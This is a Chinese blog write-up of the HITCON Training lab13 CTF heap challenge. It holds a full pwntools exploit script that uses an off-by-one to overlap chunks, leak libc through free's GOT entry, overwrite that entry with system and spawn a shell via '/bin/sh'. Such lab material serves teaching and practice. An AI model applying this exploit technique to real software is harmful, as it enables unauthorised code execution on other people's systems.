【PWN · heap | Overlap | off-by-one】HITCON Trainging lab13

news/2024/5/19 21:26:09 标签: pwn, ctf, off-by-one, overlap

记录一道wiki学习overlap的题目

前言

通过overlap可以造成堆的重叠,进而通过堆的修改、访问等操作,劫持或泄露另一个堆的信息,如果堆上存在指针,而存在对指针的读写,就可以控制修改该指针,进行任意地址读/写。


一、题目


二、思路

存在show和edit功能,且结构体上含有字符串指针,edit中存在off-by-one漏洞可造成overlap。正如我们所说的,可以造成任意地址读写。这里通过任意地址读来泄露libc地址,通过任意地址写来劫持free的got表为system。具体看exp,深夜,累了。


三、exp

from pwn import *

context(arch='amd64',log_level='debug')

io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def create(size_heap,content):
    io.sendlineafter(b'Your choice :',b'1')
    io.sendlineafter(b'Size of Heap : ',str(size_heap).encode())
    io.sendlineafter(b'Content of heap:',content)
    io.recvuntil(b'SuccessFul')

def edit(index,content):
    io.sendlineafter(b'Your choice :',b'2')
    io.sendlineafter(b'Index :',str(index).encode())
    io.recvuntil(b'Content of heap : ')
    io.sendline(content)

def show(index):
    io.sendlineafter(b'Your choice :',b'3')
    io.sendlineafter(b'Index :',str(index).encode())
    io.recvuntil(b'Size : ')
    size=io.recvuntil(b'\n',drop=True)
    io.recvuntil(b'Content : ')
    content=io.recvuntil(b'\n',drop=True)
    return size,content
def delete(index):
    io.sendlineafter(b'Your choice :',b'4')
    io.sendlineafter(b'Index :',str(index).encode())

# 思路:libc通过指针show可以打印
# 通过extend将一个chunk包含在另一个chunk的conten域中
# 修改chunk的content指针指向free_got,且修改chunk头为'/bin/sh'
# 修改free_got的内容为system

# gdb.attach(io)
create(0x38,b'to write bin_sh and off_by_one')  
#之所以是0x_8的大小,是为了造成临近堆的prev_size域复用,堆1末与堆2size域相邻,为1字节的溢出作准备
create(0x10,b'tobeoff_by_one')
edit(0,b'/bin/sh\x00'+0x30*b'a'+b'\x41')
delete(1)
create(0x30,b'a'*0x20+p64(0x30)+p64(elf.got['free']))
sz,free_addr=show(1)
free_addr=u64(free_addr.ljust(8,b'\x00'))
success(hex(free_addr))
libc_base=free_addr-libc.sym['free']
system=libc_base+libc.sym['system']
edit(1,p64(system))
delete(0)
io.interactive()


http://www.niftyadmin.cn/n/5149419.html

相关文章

TCP的滑动窗口和拥塞控制

目录 滑动窗口 1.发送窗口和接收窗口 2.滑动窗口的分类 停止等待协议:发送窗口大小 1, 接收窗口大小 1 后退N帧协议(GBN):发送窗口大小 > 1,接收窗口大小 1 选择重传协议(SR&#xf…

Dubbo远程调用

分布式系统中,各个系统间远程调用的性能决定了这个分布式系统好坏 Dubbo是专门用来解决各个服务间调用的RPC框架,解决分布式系统中的远程调用问题 而Zookeeper(注册调度中心)的作用是:比如说50台用户服务器,与50台订单服务器,但是上线后发现用户服务器使用率较低,那么Zookeep…

uniapp开发小程序接入阿里云TTS语音合成(RESTful API)

流程 首先小程序后台配置白名单 1.1 路径:开发-开发管理-开发设置-服务器域名-request合法域名 1.2 request合法域名参数: https://nls-meta.cn-shanghai.aliyuncs.com https://nls-gateway-cn-shanghai.aliyuncs.com引入alitts.js页面使用…

TensorFlow案例学习:使用 YAMNet 进行迁移学习,对音频进行识别

前言 上一篇文章 TensorFlow案例学习:简单的音频识别 我们简单学习了音频识别。这次我们继续学习如何使用成熟的语音分类模型来进行迁移学习 官方教程: 使用 YAMNet 进行迁移学习,用于环境声音分类 模型下载地址(需要科学上网&…

python第一课 变量

1.离线的情况下首选txt文档 2.有道云笔记 3.思维导图 xmind mindmaster 4.博客 5.wps流程图 # 变量的命名规则 1.变量名只能由数字字母下划线组成 2.变量名不能以数字开头 3.变量名不能与关键字重名 快捷键 撤销:Ctrl/Command Z 新建:Ctrl/Com…

Android标题栏(TitleBar)绝佳解决方案

标题栏框架 项目地址:Github博客地址:Android标题栏(TitleBar)绝佳解决方案 想了解实现原理的可以参考文章:纯手工打造一个通用的标题栏 TitleBar 集成步骤 如果你的项目 Gradle 配置是在 7.0 以下,需要…

uinapp微信小程序隐私政策授权

&#x1f680; 隐私弹窗效果图&#xff1a; 1、启用隐私相关功能在manifest.json文件中配置 usePrivacyCheck: true "mp-weixin" : {"__usePrivacyCheck__" : true, },2、创建组件 <template><view><!-- 隐私政策弹窗 --><uni-popu…

C#开发的OpenRA游戏之步兵射击(2)

C#开发的OpenRA游戏之步兵射击(2) 前面已经分析士兵射击的整个过程,理解它是怎么样根据武器来创建弹盒,然后加载子弹。现在来分析子弹是怎么伤害到对方的过程。 继续前面的分析,它创建了子弹类Bullet,在这个类里实现爆炸效果和伤害转化。类Bullet也是由它的信息类Bulle…